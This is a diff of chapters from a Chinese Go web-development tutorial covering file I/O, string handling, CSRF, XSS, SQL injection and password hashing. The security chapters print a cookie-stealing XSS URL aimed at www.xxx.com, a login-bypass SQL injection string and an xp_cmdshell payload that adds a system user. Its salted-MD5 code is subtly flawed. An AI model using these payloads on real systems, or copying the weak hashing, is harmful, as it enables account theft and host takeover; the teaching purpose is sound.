在指定位置开始写入byte类型的信息 |
|||
|
|||
- func (file *File) WriteString(s string) (ret int, err Error) |
|||
|
|||
写入string信息到文件 |
|||
|
|||
写文件的示例代码 |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"os" |
|||
) |
|||
|
|||
func main() { |
|||
userFile := "astaxie.txt" |
|||
fout, err := os.Create(userFile) |
|||
if err != nil { |
|||
fmt.Println(userFile, err) |
|||
return |
|||
} |
|||
defer fout.Close() |
|||
for i := 0; i < 10; i++ { |
|||
fout.WriteString("Just a test!\r\n") |
|||
fout.Write([]byte("Just a test!\r\n")) |
|||
} |
|||
} |
|||
|
|||
``` |
|||
### 读文件 |
|||
读文件函数: |
|||
|
|||
- func (file *File) Read(b []byte) (n int, err Error) |
|||
|
|||
读取数据到b中 |
|||
|
|||
- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) |
|||
|
|||
从off开始读取数据到b中 |
|||
|
|||
读文件的示例代码: |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"os" |
|||
) |
|||
|
|||
func main() { |
|||
userFile := "asatxie.txt" |
|||
fl, err := os.Open(userFile) |
|||
if err != nil { |
|||
fmt.Println(userFile, err) |
|||
return |
|||
} |
|||
defer fl.Close() |
|||
buf := make([]byte, 1024) |
|||
for { |
|||
n, _ := fl.Read(buf) |
|||
if 0 == n { |
|||
break |
|||
} |
|||
os.Stdout.Write(buf[:n]) |
|||
} |
|||
} |
|||
|
|||
``` |
|||
### 删除文件 |
|||
Go语言里面删除文件和删除文件夹是同一个函数 |
|||
|
|||
- func Remove(name string) Error |
|||
|
|||
调用该函数就可以删除文件名为name的文件 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [模板处理](<07.4.md>) |
|||
* 下一节: [字符串处理](<07.6.md>) |
@ -0,0 +1,181 @@ |
|||
# 7.6 字符串处理 |
|||
字符串在我们平常的Web开发中经常用到,包括用户的输入,数据库读取的数据等,我们经常需要对字符串进行分割、连接、转换等操作,本小节将通过Go标准库中的strings和strconv两个包中的函数来讲解如何进行有效快速的操作。 |
|||
## 字符串操作 |
|||
下面这些函数来自于strings包,这里介绍一些我平常经常用到的函数,更详细的请参考官方的文档。 |
|||
|
|||
- func Contains(s, substr string) bool |
|||
|
|||
字符串s中是否包含substr,返回bool值 |
|||
|
|||
```Go |
|||
|
|||
fmt.Println(strings.Contains("seafood", "foo")) |
|||
fmt.Println(strings.Contains("seafood", "bar")) |
|||
fmt.Println(strings.Contains("seafood", "")) |
|||
fmt.Println(strings.Contains("", "")) |
|||
//Output: |
|||
//true |
|||
//false |
|||
//true |
|||
//true |
|||
|
|||
``` |
|||
|
|||
- func Join(a []string, sep string) string |
|||
|
|||
字符串链接,把slice a通过sep链接起来 |
|||
|
|||
```Go |
|||
|
|||
s := []string{"foo", "bar", "baz"} |
|||
fmt.Println(strings.Join(s, ", ")) |
|||
//Output:foo, bar, baz |
|||
``` |
|||
|
|||
- func Index(s, sep string) int |
|||
|
|||
在字符串s中查找sep所在的位置,返回位置值,找不到返回-1 |
|||
|
|||
```Go |
|||
|
|||
fmt.Println(strings.Index("chicken", "ken")) |
|||
fmt.Println(strings.Index("chicken", "dmr")) |
|||
//Output:4 |
|||
//-1 |
|||
``` |
|||
- func Repeat(s string, count int) string |
|||
|
|||
重复s字符串count次,最后返回重复的字符串 |
|||
|
|||
```Go |
|||
|
|||
fmt.Println("ba" + strings.Repeat("na", 2)) |
|||
//Output:banana |
|||
``` |
|||
- func Replace(s, old, new string, n int) string |
|||
|
|||
在s字符串中,把old字符串替换为new字符串,n表示替换的次数,小于0表示全部替换 |
|||
|
|||
```Go |
|||
|
|||
fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) |
|||
fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) |
|||
//Output:oinky oinky oink |
|||
//moo moo moo |
|||
``` |
|||
- func Split(s, sep string) []string |
|||
|
|||
把s字符串按照sep分割,返回slice |
|||
|
|||
```Go |
|||
|
|||
fmt.Printf("%q\n", strings.Split("a,b,c", ",")) |
|||
fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) |
|||
fmt.Printf("%q\n", strings.Split(" xyz ", "")) |
|||
fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) |
|||
//Output:["a" "b" "c"] |
|||
//["" "man " "plan " "canal panama"] |
|||
//[" " "x" "y" "z" " "] |
|||
//[""] |
|||
``` |
|||
|
|||
- func Trim(s string, cutset string) string |
|||
|
|||
在s字符串的头部和尾部去除cutset指定的字符串 |
|||
|
|||
```Go |
|||
|
|||
fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) |
|||
//Output:["Achtung"] |
|||
``` |
|||
|
|||
- func Fields(s string) []string |
|||
|
|||
去除s字符串的空格符,并且按照空格分割返回slice |
|||
|
|||
```Go |
|||
|
|||
fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) |
|||
//Output:Fields are: ["foo" "bar" "baz"] |
|||
``` |
|||
|
|||
## 字符串转换 |
|||
字符串转化的函数在strconv中,如下也只是列出一些常用的: |
|||
|
|||
- Append 系列函数将整数等转换为字符串后,添加到现有的字节数组中。 |
|||
|
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"strconv" |
|||
) |
|||
|
|||
func main() { |
|||
str := make([]byte, 0, 100) |
|||
str = strconv.AppendInt(str, 4567, 10) |
|||
str = strconv.AppendBool(str, false) |
|||
str = strconv.AppendQuote(str, "abcdefg") |
|||
str = strconv.AppendQuoteRune(str, '单') |
|||
fmt.Println(string(str)) |
|||
} |
|||
``` |
|||
|
|||
- Format 系列函数把其他类型的转换为字符串 |
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"strconv" |
|||
) |
|||
|
|||
func main() { |
|||
a := strconv.FormatBool(false) |
|||
b := strconv.FormatFloat(123.23, 'g', 12, 64) |
|||
c := strconv.FormatInt(1234, 10) |
|||
d := strconv.FormatUint(12345, 10) |
|||
e := strconv.Itoa(1023) |
|||
fmt.Println(a, b, c, d, e) |
|||
} |
|||
|
|||
``` |
|||
|
|||
- Parse 系列函数把字符串转换为其他类型 |
|||
|
|||
```Go |
|||
|
|||
package main |
|||
|
|||
import ( |
|||
"fmt" |
|||
"strconv" |
|||
) |
|||
func checkError(e error){ |
|||
if e != nil{ |
|||
fmt.Println(e) |
|||
} |
|||
} |
|||
func main() { |
|||
a, err := strconv.ParseBool("false") |
|||
checkError(err) |
|||
b, err := strconv.ParseFloat("123.23", 64) |
|||
checkError(err) |
|||
c, err := strconv.ParseInt("1234", 10, 64) |
|||
checkError(err) |
|||
d, err := strconv.ParseUint("12345", 10, 64) |
|||
checkError(err) |
|||
e, err := strconv.Atoi("1023") |
|||
checkError(err) |
|||
fmt.Println(a, b, c, d, e) |
|||
} |
|||
|
|||
``` |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [文件操作](<07.5.md>) |
|||
* 下一节: [小结](<07.7.md>) |
@ -0,0 +1,7 @@ |
|||
# 7.7 小结 |
|||
这一章给大家介绍了一些文本处理的工具,包括XML、JSON、正则和模板技术,XML和JSON是数据交互的工具,通过XML和JSON你可以表达各种含义,通过正则你可以处理文本(搜索、替换、截取),通过模板技术你可以展现这些数据给用户。这些都是你开发Web应用过程中需要用到的技术,通过这个小节的介绍你能够了解如何处理文本、展现文本。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [字符串处理](<07.6.md>) |
|||
* 下一节: [Web服务](<08.0.md>) |
@ -0,0 +1,20 @@ |
|||
# 9 安全与加密 |
|||
无论是开发Web应用的开发者还是企图利用Web应用漏洞的攻击者,对于Web程序安全这个话题都给予了越来越多的关注。特别是最近CSDN密码泄露事件,更是让我们对Web安全这个话题更加重视,所有人都谈密码色变,都开始检测自己的系统是否存在漏洞。那么我们作为一名Go程序的开发者,一定也需要知道我们的应用程序随时会成为众多攻击者的目标,并提前做好防范的准备。 |
|||
|
|||
很多Web应用程序中的安全问题都是由于轻信了第三方提供的数据造成的。比如对于用户的输入数据,在对其进行验证之前都应该将其视为不安全的数据。如果直接把这些不安全的数据输出到客户端,就可能造成跨站脚本攻击(XSS)的问题。如果把不安全的数据用于数据库查询,那么就可能造成SQL注入问题,我们将会在9.3、9.4小节介绍如何避免这些问题。 |
|||
|
|||
在使用第三方提供的数据,包括用户提供的数据时,首先检验这些数据的合法性非常重要,这个过程叫做过滤,我们将在9.2小节介绍如何保证对所有输入的数据进行过滤处理。 |
|||
|
|||
过滤输入和转义输出并不能解决所有的安全问题,我们将会在9.1讲解的CSRF攻击,会导致受骗者发送攻击者指定的请求从而造成一些破坏。 |
|||
|
|||
与安全加密相关的,能够增强我们的Web应用程序的强大手段就是加密,CSDN泄密事件就是因为密码保存的是明文,使得攻击拿手库之后就可以直接实施一些破坏行为了。不过,和其他工具一样,加密手段也必须运用得当。我们将在9.5小节介绍如何存储密码,如何让密码存储的安全。 |
|||
|
|||
加密的本质就是扰乱数据,某些不可恢复的数据扰乱我们称为单向加密或者散列算法。另外还有一种双向加密方式,也就是可以对加密后的数据进行解密。我们将会在9.6小节介绍如何实现这种双向加密方式。 |
|||
|
|||
## 目录 |
|||
![](images/navi9.png?raw=true) |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一章: [第八章总结](<08.5.md>) |
|||
* 下一节: [预防CSRF攻击](<09.1.md>) |
@ -0,0 +1,106 @@ |
|||
# 9.1 预防CSRF攻击 |
|||
|
|||
## 什么是CSRF |
|||
|
|||
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。 |
|||
|
|||
那么CSRF到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。 |
|||
|
|||
所以遇到CSRF攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个Web应用程序。 |
|||
|
|||
## CSRF的原理 |
|||
|
|||
下图简单阐述了CSRF攻击的思想 |
|||
|
|||
![](images/9.1.csrf.png?raw=true) |
|||
|
|||
图9.1 CSRF的攻击过程 |
|||
|
|||
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 : |
|||
|
|||
- 1.登录受信任网站A,并在本地生成Cookie 。 |
|||
- 2.在不退出A的情况下,访问危险网站B。 |
|||
|
|||
看到这里,读者也许会问:“如果我不满足以上两个条件中的任意一个,就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生: |
|||
|
|||
- 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站,特别现在浏览器都是支持多tab的。 |
|||
- 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。 |
|||
- 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。 |
|||
|
|||
因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作,所以随时可能成为CSRF的受害者。 |
|||
|
|||
CSRF攻击主要是因为Web的隐式身份验证机制,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。 |
|||
|
|||
## 如何预防CSRF |
|||
过上面的介绍,读者是否觉得这种攻击很恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。 |
|||
|
|||
CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。 |
|||
|
|||
服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手: |
|||
|
|||
- 1、正确使用GET,POST和Cookie; |
|||
- 2、在非GET请求中增加伪随机数; |
|||
|
|||
我们上一章介绍过REST方式的Web应用,一般而言,普通的Web应用都是以GET、POST为主,还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用: |
|||
|
|||
1、GET常用在查看,列举,展示等不需要改变资源属性的时候; |
|||
|
|||
2、POST常用在下达订单,改变一个资源的属性或者做其他一些事情; |
|||
|
|||
接下来我就以Go语言来举例说明,如何限制对资源的访问方法: |
|||
|
|||
```Go |
|||
|
|||
mux.Get("/user/:uid", getuser) |
|||
mux.Post("/user/:uid", modifyuser) |
|||
|
|||
``` |
|||
这样处理后,因为我们限定了修改只能使用POST,当GET方式请求时就拒绝响应,所以上面图示中GET方式的CSRF攻击就可以防止了,但这样就能全部解决问题了吗?当然不是,因为POST也是可以模拟的。 |
|||
|
|||
因此我们需要实施第二步,在非GET方式的请求中增加随机数,这个大概有三种方式来进行: |
|||
|
|||
- 为每个用户生成一个唯一的cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。 |
|||
- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。 |
|||
- 不同的表单包含一个不同的伪随机值,我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案,复用相关代码,实现如下: |
|||
|
|||
生成随机数token |
|||
|
|||
```Go |
|||
|
|||
h := md5.New() |
|||
io.WriteString(h, strconv.FormatInt(crutime, 10)) |
|||
io.WriteString(h, "ganraomaxxxxxxxxx") |
|||
token := fmt.Sprintf("%x", h.Sum(nil)) |
|||
|
|||
t, _ := template.ParseFiles("login.gtpl") |
|||
t.Execute(w, token) |
|||
|
|||
``` |
|||
输出token |
|||
```html |
|||
|
|||
<input type="hidden" name="token" value="{{.}}"> |
|||
|
|||
``` |
|||
验证token |
|||
|
|||
```Go |
|||
|
|||
r.ParseForm() |
|||
token := r.Form.Get("token") |
|||
if token != "" { |
|||
//验证token的合法性 |
|||
} else { |
|||
//不存在token报错 |
|||
} |
|||
|
|||
``` |
|||
这样基本就实现了安全的POST,但是也许你会说如果破解了token的算法呢,按照理论上是,但是实际上破解是基本不可能的,因为有人曾计算过,暴力破解该串大概需要2的11次方时间。 |
|||
|
|||
## 总结 |
|||
跨站请求伪造,即CSRF,是一种非常危险的Web安全威胁,它被Web安全界称为“沉睡的巨人”,其威胁程度有此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍,还详细说明造成这种漏洞的原因所在,然后以此提了一些防范该攻击的建议,希望对读者编写安全的Web应用能够有所启发。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [安全与加密](<09.0.md>) |
|||
* 下一节: [确保输入过滤](<09.2.md>) |
@ -0,0 +1,54 @@ |
|||
# 9.3 避免XSS攻击 |
|||
随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。 |
|||
|
|||
## 什么是XSS |
|||
XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。 |
|||
|
|||
XSS通常可以分为两大类:一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS,主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。 |
|||
|
|||
XSS目前主要的手段和目的如下: |
|||
|
|||
- 盗用cookie,获取敏感信息。 |
|||
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。 |
|||
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。 |
|||
- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。 |
|||
- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果 |
|||
|
|||
## XSS的原理 |
|||
Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因。 |
|||
|
|||
接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:`http://127.0.0.1/?name=astaxie`,就会在浏览器输出如下信息: |
|||
|
|||
hello astaxie |
|||
|
|||
如果我们传递这样的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,这样就可以把当前的cookie发送到指定的站点:`www.xxx.com`。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。 |
|||
|
|||
更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。 |
|||
|
|||
## 如何预防XSS |
|||
答案很简单,坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。 |
|||
|
|||
目前防御XSS主要有如下几种方式: |
|||
|
|||
- 过滤特殊字符 |
|||
|
|||
避免XSS的方法之一主要是将用户所提供的内容进行过滤,Go语言提供了HTML的过滤函数: |
|||
|
|||
text/template包下面的HTMLEscapeString、JSEscapeString等函数 |
|||
|
|||
- 使用HTTP头指定类型 |
|||
|
|||
```Go |
|||
|
|||
`w.Header().Set("Content-Type","text/javascript")` |
|||
|
|||
这样就可以让浏览器解析javascript代码,而不会是html输出。 |
|||
|
|||
``` |
|||
## 总结 |
|||
XSS漏洞是相当有危害的,在开发Web应用的时候,一定要记住过滤数据,特别是在输出到客户端之前,这是现在行之有效的防止XSS的手段。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [确保输入过滤](<09.2.md>) |
|||
* 下一节: [避免SQL注入](<09.4.md>) |
@ -0,0 +1,78 @@ |
|||
# 9.4 避免SQL注入 |
|||
## 什么是SQL注入 |
|||
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。 |
|||
|
|||
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。 |
|||
## SQL注入实例 |
|||
很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。 |
|||
|
|||
下面将通过一些真实的例子来详细讲解SQL注入的方式。 |
|||
|
|||
考虑以下简单的登录表单: |
|||
```html |
|||
|
|||
<form action="/login" method="POST"> |
|||
<p>Username: <input type="text" name="username" /></p> |
|||
<p>Password: <input type="password" name="password" /></p> |
|||
<p><input type="submit" value="登陆" /></p> |
|||
</form> |
|||
|
|||
``` |
|||
我们的处理里面的SQL可能是这样的: |
|||
```Go |
|||
|
|||
username:=r.Form.Get("username") |
|||
password:=r.Form.Get("password") |
|||
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'" |
|||
|
|||
``` |
|||
如果用户的输入的用户名如下,密码任意 |
|||
```Go |
|||
|
|||
myuser' or 'foo' = 'foo' -- |
|||
|
|||
``` |
|||
那么我们的SQL变成了如下所示: |
|||
```Go |
|||
|
|||
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' |
|||
``` |
|||
在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。 |
|||
|
|||
对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。 |
|||
```Go |
|||
|
|||
sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" |
|||
Db.Exec(sql) |
|||
``` |
|||
如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值,那么sql将会变成 |
|||
```Go |
|||
|
|||
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" |
|||
``` |
|||
MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。 |
|||
|
|||
>虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。 |
|||
|
|||
|
|||
## 如何预防SQL注入 |
|||
也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此,但没人能保证攻击者一定拿不到这些信息,一旦他们拿到了,数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容易得到相关的代码。如果这些代码设计不良的话,风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。 |
|||
|
|||
这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。 |
|||
|
|||
SQL注入攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。 |
|||
|
|||
1. 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。 |
|||
2. 检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包对字符串转化成其他基本类型的数据进行判断。 |
|||
3. 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。 |
|||
4. 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare`和`Query`,或者`Exec(query string, args ...interface{})`。 |
|||
5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。 |
|||
6. 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。 |
|||
|
|||
## 总结 |
|||
通过上面的示例我们可以知道,SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用,应该对于每一个小细节都要非常重视,细节决定命运,生活如此,编写Web应用也是这样。 |
|||
|
|||
## links |
|||
* [目录](<preface.md>) |
|||
* 上一节: [避免XSS攻击](<09.3.md>) |
|||
* 下一节: [存储密码](<09.5.md>) |
@ -0,0 +1,95 @@ |
|||
# 9.5 存储密码 |
|||
过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括顶级的互联网企业–Linkedin, 国内诸如CSDN,该事件横扫整个国内互联网,随后又爆出多玩游戏800万用户资料被泄露,另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响,人人自危,因为人们往往习惯在不同网站使用相同的密码,所以一家“暴库”,全部遭殃。 |
|||
|
|||
那么我们作为一个Web应用开发者,在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱? |
|||
|
|||
## 普通方案 |
|||
目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。 |
|||
|
|||
Go语言对这三种加密算法的实现如下所示: |
|||
```Go |
|||
|
|||
//import "crypto/sha256" |
|||
h := sha256.New() |
|||
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") |
|||
fmt.Printf("% x", h.Sum(nil)) |
|||
|
|||
//import "crypto/sha1" |
|||
h := sha1.New() |
|||
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") |
|||
fmt.Printf("% x", h.Sum(nil)) |
|||
|
|||
//import "crypto/md5" |
|||
h := md5.New() |
|||
io.WriteString(h, "需要加密的密码") |
|||
fmt.Printf("%x", h.Sum(nil)) |
|||
|
|||
``` |
|||
单向哈希有两个特性: |
|||
|
|||
- 1)同一个密码进行单向哈希,得到的总是唯一确定的摘要。 |
|||
- 2)计算速度快。随着技术进步,一秒钟能够完成数十亿次单向哈希计算。 |
|||
|
|||
结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`。 |
|||
|
|||
因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。 |
|||
## 进阶方案 |
|||
通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。 |
|||
|
|||
一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。 |
|||
|
|||
但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法,我们能想到,黑客自然也能想到。特别是对于一些开源代码,这样哈希更是相当于直接把算法告诉了黑客。 |
|||
|
|||
没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是,先将用户输入的密码进行一次MD5(或其它哈希算法)加密;将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次MD5加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)。 |
|||
|
|||
```Go |
|||
|
|||
//import "crypto/md5" |
|||
//假设用户名abc,密码123456 |
|||
h := md5.New() |
|||
io.WriteString(h, "需要加密的密码") |
|||
|
|||
//pwmd5等于e10adc3949ba59abbe56e057f20f883e |
|||
pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) |
|||
|
|||
//指定两个 salt: salt1 = @#$% salt2 = ^&*() |
|||
salt1 := "@#$%" |
|||
salt2 := "^&*()" |
|||
|
|||
//salt1+用户名+salt2+MD5拼接 |
|||
io.WriteString(h, salt1) |
|||
io.WriteString(h, "abc") |
|||
io.WriteString(h, salt2) |
|||
io.WriteString(h, pwmd5) |
|||
|
|||
last :=fmt.Sprintf("%x", h.Sum(nil)) |
|||
|
|||
``` |
|||
在两个salt没有泄露的情况下,黑客如果拿到的是最后这个加密串,就几乎不可能推算出原始的密码是什么了。 |
|||
|
|||
## 专家方案 |
|||
上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的`rainbow table`。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。 |
|||
|
|||
怎么解决这个问题呢?只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`。 |
|||
|
|||
这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。 |
|||
|
|||
这里推荐`scrypt`方案,scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。 |
|||
|
|||
目前Go语言里面支持的库 https://github.com/golang/crypto/tree/master/scrypt |
|||
```Go |
|||
|
|||
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) |
|||
``` |
|||
